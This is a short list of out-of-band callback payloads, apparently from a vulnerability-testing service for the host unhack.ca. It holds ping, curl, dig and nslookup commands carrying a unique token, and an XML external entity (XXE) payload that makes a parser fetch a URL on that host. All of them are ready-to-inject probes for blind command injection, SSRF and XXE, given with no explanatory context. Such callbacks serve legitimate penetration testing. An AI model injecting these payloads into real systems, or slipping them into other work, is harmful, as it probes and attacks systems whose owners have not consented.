$ ping -c1 -p 0098a2c3f72f71ef275cebaad3942c00 unhack.ca
 

$ curl http://unhack.ca/p/98a2c3f72f71ef275cebaad3942c
 

$ dig 98a2c3f72f71ef275cebaad3942c @unhack.ca
 

$ dig 98a2c3f72f71ef275cebaad3942c.ns.unhack.ca
 

C:\> nslookup 98a2c3f72f71ef275cebaad3942c unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/98a2c3f72f71ef275cebaad3942c">]>
    <foo>&xxe;</foo>